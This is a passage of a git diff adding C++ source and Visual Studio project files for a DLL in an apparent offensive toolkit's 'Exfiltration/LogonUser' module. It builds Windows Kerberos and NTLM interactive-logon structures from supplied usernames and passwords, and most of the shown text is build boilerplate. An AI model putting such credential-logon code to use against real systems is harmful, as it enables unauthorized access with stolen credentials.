+	size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(KERB_INTERACTIVE_LOGON);
+
+	ntlmLogon->MessageType = KerbInteractiveLogon;
+	writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
+	writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
+	writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
+
+	*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
+	return ntlmLogon;
+}
+
+
+PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
+{
+	size_t wcharSize = sizeof(wchar_t);
+
+	size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
+	MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
+	size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(MSV1_0_INTERACTIVE_LOGON);
+
+	ntlmLogon->MessageType = MsV1_0InteractiveLogon;
+	writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
+	writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
+	writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
+
+	*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
+	return ntlmLogon;
+}
+
+//Returns the amount of bytes written.
+size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address)
+{
+	size_t size = lstrlenW(str) * sizeof(wchar_t);
+	uniStr->Length = (USHORT)size;
+	uniStr->MaximumLength = (USHORT)size;
+	uniStr->Buffer = (PWSTR)address;
+	memcpy(address, str, size);
+	return size;
+}
+
+void WriteErrorToPipe(string errorMsg, HANDLE pipe)
+{
+	const char* error = errorMsg.c_str();
+	DWORD bytesWritten = 0;
+	WriteFile(pipe, error, strlen(error),  &bytesWritten, NULL);
+}
\ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj
new file mode 100644
index 0000000..7fb078b
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj
@@ -0,0 +1,176 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}</ProjectGuid>
+    <Keyword>Win32Proj</Keyword>
+    <RootNamespace>logon</RootNamespace>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <Optimization>MaxSpeed</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <Optimization>MaxSpeed</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <Text Include="ReadMe.txt" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="stdafx.h" />
+    <ClInclude Include="targetver.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="dllmain.cpp">
+      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
+      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+      </PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+      </PrecompiledHeader>
+      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
+      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+      </PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+      </PrecompiledHeader>
+    </ClCompile>
+    <ClCompile Include="logon.cpp" />
+    <ClCompile Include="stdafx.cpp">
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
+    </ClCompile>
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
\ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters
new file mode 100644
index 0000000..b63ba3c
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <Text Include="ReadMe.txt" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="stdafx.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+    <ClInclude Include="targetver.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="stdafx.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+    <ClCompile Include="logon.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+    <ClCompile Include="dllmain.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+</Project>
\ No newline at end of file
diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp
new file mode 100644
index 0000000..696fbfb
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : source file that includes just the standard includes
+// logon.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file
diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.h b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h
new file mode 100644
index 0000000..d8612f0
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h
@@ -0,0 +1,25 @@
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from Windows headers
+// Windows Header Files:
+#include "targetver.h"
+#include <stdio.h>
+#include <tchar.h>
+#include <iostream>
+#include <string>
+#include <fstream>
+#include <ostream>
+#include <mutex>
+#include <Windows.h>
+#include <NTSecAPI.h>
+
+
+
+// TODO: reference additional headers your program requires here
diff --git a/Exfiltration/LogonUser/LogonUser/logon/targetver.h b/Exfiltration/LogonUser/LogonUser/logon/targetver.h
new file mode 100644
index 0000000..87c0086
--- /dev/null
+++ b/Exfiltration/LogonUser/LogonUser/logon/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// Including SDKDDKVer.h defines the highest available Windows platform.
+
+// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
+// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
+
+#include <SDKDDKVer.h>